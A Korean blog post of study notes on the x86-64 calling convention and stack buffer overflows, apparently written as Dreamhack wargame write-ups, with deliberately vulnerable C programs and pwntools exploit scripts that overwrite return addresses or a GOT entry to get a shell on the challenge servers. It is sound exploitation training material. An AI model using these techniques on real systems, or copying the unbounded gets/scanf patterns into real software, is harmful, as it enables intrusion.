함수 호출 규약 calling convention
사용하는 컴파일러, 컴파일러 지원하는 호출 규약 중 CPU 아키텍쳐에 적합한 호출 규약에 따라 종류가 다양하다.
c언어 컴파일 시에 리눅스는 주로 gcc를 사용하며,
gcc는 x86(32bit)에 대해 cdel 함수 호출 규약을, x86-64(64bit)에 대해 SYSTEM V호출 규약을 사용한다.
x86-64의 호출 규약 | SYSV
#define ull unsigned long long
ull callee(ull a1, int a2, int a3, int a4, int a5, int a6, int a7) {
ull ret = a1 + a2 + a3 + a4 + a5 + a6 + a7;
return ret;
}
void caller() { callee(123456789123456789, 2, 3, 4, 5, 6, 7); }
int main() { caller(); }
해당 c 코드에서 caller가 callee를 호출한다. 과정을 살펴보면 다음과 같다.
1. 인자 전달
pwndbg> b *caller
Breakpoint 1 at 0x1185
pwndbg> r
Starting program: /home/dreamhack/sysv
Breakpoint 1, 0x0000555555555185 in caller ()
...
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
► 0x555555555185 <caller> endbr64
0x555555555189 <caller+4> push rbp
0x55555555518a <caller+5> mov rbp, rsp
0x55555555518d <caller+8> push 7
0x55555555518f <caller+10> mov r9d, 6
0x555555555195 <caller+16> mov r8d, 5
0x55555555519b <caller+22> mov ecx, 4
0x5555555551a0 <caller+27> mov edx, 3
0x5555555551a5 <caller+32> mov esi, 2
0x5555555551aa <caller+37> movabs rax, 0x1b69b4bacd05f15
0x5555555551b4 <caller+47> mov rdi, rax
0x5555555551b7 <caller+50> call 0x555555555129 <callee>
0x5555555551bc <caller+55> add rsp,0x8
caller에 bp를 두고 실행해보면 다음과 같다.
rip 다음의 명령어 'push rbp', 'mov rbp, rsp'는 함수의 프롤로그로 스택에 rbp를 넣고 rbp와 rsp를 동일하게 설정한다.
이후 인자를 전달하는 데 인자들은
rdi, rsi, rdx, rcx, r8, r9에 차례로 설정되며 6개 이후의 인자부터는 스택에([rbp])에 저장된다.
( + call의 과정이 끝난 후의 맨 마지막 명령에서
add rsp, 0x8을 해주는 이유는 이전에 callee의 인자를 설정하는 과정에서 사용한 stack (push 7)의 8바이트를 제거하기 위한 것이다. 다시 caller의 스택프레임에서 작업을 하기위한 과정이라고 이해하면 된다.
만약에 만약에~해당 과정이 64bit가 아닌 32bit인 x86에서 진행되었으며, push를 총 3번 진행하여 인자를 설정했다고 가정해보자. 그렇다면 4바이트 * 3번 = 12바이트 이므로 'add rsp 0xc'를 해주면 되겠죠?
)
2. 반환 주소 저장
call 이 실행되면 스택에는 callee호출 이후의 명령어 주소인 0x555555554682 가 반환 주소로 저장된다.
이 주소는 callee 호출 다음 명령어의 주소이기에 callee가 반환되면, 이 주소를 꺼내어 원래의 실행으로 돌아간다.
(여기 부분 내가 봤을 때, 이전 부분과 이후 부분의 코드가 달라진듯 그래서 오류난 것 같다. 명령어는 동일한데 주소가 다름. 즉 위의 코드를 기반으로 0x555555551bc 를 스택에 넣어 되돌아올 주소를 저장하는 것으로 이해하면 된다.)
3. 스택 프레임 저장
callee함수의 프롤로그를 보면 아까 이전의 caller의 프롤로그와 동일하게
push rbp를 통해 caller의 rbp를 저장하는 데, 이때 rbp는 스택프레임의 가장 낮은 주소를 가리키기에 stack frame pointer( sfp)라고도 부른다.
4. 스택 프레임 할당
mov rbp, rsp를 통해서 rbp와 rsp는 동일한 주소를 가리킨다. 이후에 rsp값을 빼게 되면 rbp와 rsp 사이의 공간을
새로운 스택 프레임으로 할당 한다.
( 위의 간단한 callee함수는 ret을 선언했으나 반환 값을 저장하는 용도 외로는 사용되지 않아 지역변수를 사용한 것으로 취급하지 않고 rax를 이용하여 반환 값을 받는다. 즉, 위의 callee함수는 지역변수를 사용하지 않음으로 새로운 '지역변수' 스택 프레임을 생성하지는 않는다. )
5. 반환값 전달
callee 함수의 에필로그에 도달하면 반환값을 rax에 옮긴다.
6. 반환
저장한 callee의 스택 프레임과 반환 주소를 반환하면 에필로그가 완료된다.
일반적으로 에필로그는 leave를 통해서 스택 프레임을 꺼내는 데 이를 간단히 언급하자면,
mov esp, ebp
pop ebp
pop eip
jmp eip
과정을 통해서 rbp와 rsp를 동일하게 한 후, 스택에 저장된 sfp값(이전함수의 rbp)를 rbp로 넣고
호출 이후의 주소를 저장한 ret를 pop하여 rip에 저장한 후, 해당 주소로 이동하여 이어서 caller 함수를 진행한다.
x86의 호출 규약 | cdel
위의 64 bit와 다르게 x86(32bit)는 레지스터의 개수가 적기에 인자를 stack을 통해 전달한다.
Stack buffer overflow
일반적으로 버퍼는 메모리상에서 연속하여 할당되어있다. 즉, 어떤 버퍼에서 오버플로우가 일어나면 그 뒤의 버퍼 값이 조작될 위험이 있다.
버퍼 오버플로우가 일어났을 때 다음과 같은 다양한 데이터의 변조가 일어날 수 있다.
- 중요 데이터 변조
- 데이터 유출
- 실행 흐름 조작
stack frame이 buffer + sfp + ret으로 이루어진 구조를 이용하여 sfp 부분까지 corruption을 일으키고 ret을 조작하여
이후의 호출되는 위치 변조하여 흐름을 조작할 수 있다.
입력 함수 (패턴) 위험도평가 근거
gets(buf) | 매우 위험 |
|
scanf(“%s”, buf) | 매우 위험 |
|
scanf(“%[width]s”, buf) | 주의 필요 |
|
fgets(buf, len, stream) | 주의 필요 |
|
Return Address Overwrite
rao.c는 다음과 같다.
#include <stdio.h>
#include <unistd.h>
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
buf에 0x28만큼을 할당하였으며, scanf를 통해서 별다른 검증 과정 및 입력 크기 제한 과정없이 입력을 받는다.
buf에 할당한것에 반해 scanf는 사용자 입력 길이 제한이 존재하지 않기 때문에 취약점이 생긴다.
$ checksec rao
해당 운영 체제에 대해서 알아보자.
amd64-64(x86-64, 64bit) 아키텍쳐임을 확인
$ info func
$ disass main
버퍼에 0x30만큼을 할당하는 것을 확인
$print get_shell
스택 프레임의 구조를 생각해보면 다음과 같다.
그러므로 buffer(0x30) + sfp(0x8) + ret(0x 6006aa)을 통해서 bof 취약점을 exploit할 수 있다.
Exploit code
from pwn import *
r = remote("host3.dreamhack.games", 15964)
payload = b'A' * 0x30 + b'A' * 0x8
payload += p64(0x4006aa)
r.sendafter("Input: ", payload)
r.interactive()
little endian방식으로 '\xaa\x06\x40\x00\x00\x00\x00\x00\x00'으로 넣어줘도 되지만
그냥 p64로 packing 해주었다
결과
+ 취약점 패치
위의 코드에서 취약한 input부분에서 scanf를 사용하면서 BOF를 방지하고 싶다면
scanf("%s", buf)를 scanf("%39s", buf)로 변경하여 입력값의 길이를 제한해주면 된다.
basic_exploitation_000
i386-32-litte (32bit)의 아키텍쳐
주요 코드 분석
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
0x80(128)크기의 buf를 할당받고 입력 길이는 141까지 받을 수 있다. 이를 이용하여 stack buffer overflow를 일으켜 보자.
앞의 문제와 다르게 따로 get_shell 함수가 존재하지 않기에 표준 입력을 받는 함수의 주소로 이동해서 "/bin/sh"을 실행시켜주면 명령을 입력할 수 있다.
실행파일을 실행해보면 buf의 주소를 친절하게 알려준다.
print함수 호출 후에 scanf를 호출하기 위해 0x80만큼의 버퍼 공간을 확보한 후에,
basic_exploitation_001
운영체제는 i386-32 (32bit)
주요 코드
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
buf에 0x80만큼 할당받고 역시 입력값 길이 제한이 없는 gets함수를 사용하는 것으로 보아 bof취약점이 있음을 알 수 있다.
$info func
main에 중단점을 걸고 gdb분석을 해보자
$b *main
$r
buf에 0x80만큼을 할당 받고 gets를 call하는 것을 확인할 수 있다.
해당 운영체제는 32bit이므로 sfp는 0x4
$print read_flag
해당 addr : 0x80485b9
=> buffer(0x80) + sfp (0x4) + ret ( 0x80485b9)
해당 ret을 함수를 사용하여 32bit로 packing하여 공격 코드에 추가해주자.
Exploit code
from pwn import *
p =remote("host3.dreamhack.games", 9439)
payload = b'a'*0x80
payload +=b'b'*0x4 # 꼭 바이트 처리...!
payload += p32(0x80485b9)
p.sendline(payload)
p.interactive()
결과
4. off_by_one_001
운영체제 : i386 (32bit)
주요 코드는 다음과 같다.
void read_str(char *ptr, int size)
{
int len;
len = read(0, ptr, size);
printf("%d", len);
ptr[len] = '\0';
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char name[20];
int age = 1;
initialize();
printf("Name: ");
read_str(name, 20);
printf("Are you baby?");
if (age == 0)
{ get_shell();
}
else
{
printf("Ok, chance: \n");
read(0, name, 20);
}
return 0;
}
: name[20]을 입력받으면 read_str 함수를 통해서 size만큼 읽어서 마지막에 \0을 삽입
: age가 0이면 get_shell()
⇾ A를 20개 입력 시에 name[20]에 접근하여 0 삽입
-> out of bound 취약점에 의해 age가 0으로 변조되어 get_shell() 공격
Exploit code
from pwn import *
p = remote("host3.dreamhack.games", 12552)
payload = b'A' * 20
p.sendline(payload)
p.interactive()
결과
5. ssp_000
os arch : amd64(64bit)
주요코드는 다음과 같다.
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
long addr;
long value;
char buf[0x40] = {};
initialize();
read(0, buf, 0x80);
printf("Addr : ");
scanf("%ld", &addr);
printf("Value : ");
scanf("%ld", &value);
*(long *)addr = value;
return 0;
}
get_shell()을 통해 /bin/sh을 실행하는 것을 확인할 수 있다.
addr, value가 long type(4바이트)로 선언되어 있으며,
buf는 0x40만큼 할당받아놓고 read함수로 0x80만큼 입력을 받는 것으로 보아 bof 취약점 존재
$func info
main함수를 disassemble해보자
$disass main
main+77 : read, [rbp-0x5] (rax)에 사용자 입력 값 저장
main+114 : scanf, [rbp-0x60]에 저장
main + 151 : scanf, [rbp-0x58]에 저장
=> 사용자로부터 addr 값을 받아서 해당 주소에 원하는 value를 넣어 변조
=> 만약 canary가 변조된다면 __stack_chk_fail 함수 실행
=> __stack_chk_fail의 GOT가 변조된다면 바뀐 주소의 함수를 호출하므로
고의로 bof 생성 후, got을 get_shell의 주소로 변경
=> shell실행!
$print get_shell
주소 : 0x4008ea
Exploit code
from pwn import *
p=remote('host3.dreamhack.games', 20114)
e = ELF('./ssp_000')
get_shell_addr = 0x4008ea
__stack_chk_fail_got = e.got['__stack_chk_fail']
p.send('A' * 0x70)
p.recvuntil('Addr : ')
p.sendline(str(__stack_chk_fail_got))
p.recvuntil('Value : ')
p.sendline(str(get_shell_addr))
p.interactive()
결과
----
reference
- 함수 에필로그, 프롤로그
[System] 함수 프롤로그 & 에필로그 (Prologue & Epilogue)
우선 함수의 프롤로그와 에필로그에 들어가기 전 스택프레임을 알아야한다. 스택프레임이란? 스택 세그먼트 내부의 단위를 스택 프레임(stack frame)이라고 한다. 이 스택프레임은 함수가 호출될
3omh4.tistory.com
'System Hacking' 카테고리의 다른 글
PIE & RELRO (2) | dreamhack (0) | 2024.03.17 |
---|---|
PIE & RELRO(1) | dreamhack (0) | 2024.03.16 |
Bypass NX & ASLR(2) | dreamhack (0) | 2024.03.16 |
Bypass NX & ASLR(1) | dreamhack (0) | 2024.03.15 |
Basic Pentesting 1(1) (0) | 2024.01.11 |